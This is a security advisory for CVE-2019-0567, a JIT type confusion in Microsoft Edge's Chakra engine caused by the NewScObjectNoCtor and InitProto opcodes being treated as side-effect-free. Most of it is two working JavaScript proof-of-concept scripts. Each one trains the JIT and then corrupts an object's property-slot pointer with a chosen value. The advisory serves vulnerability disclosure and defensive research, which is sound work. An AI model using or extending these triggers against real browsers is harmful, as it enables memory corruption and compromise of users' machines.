Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto 

CVE-2019-0567


NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234. 

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

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Found by: lokihardt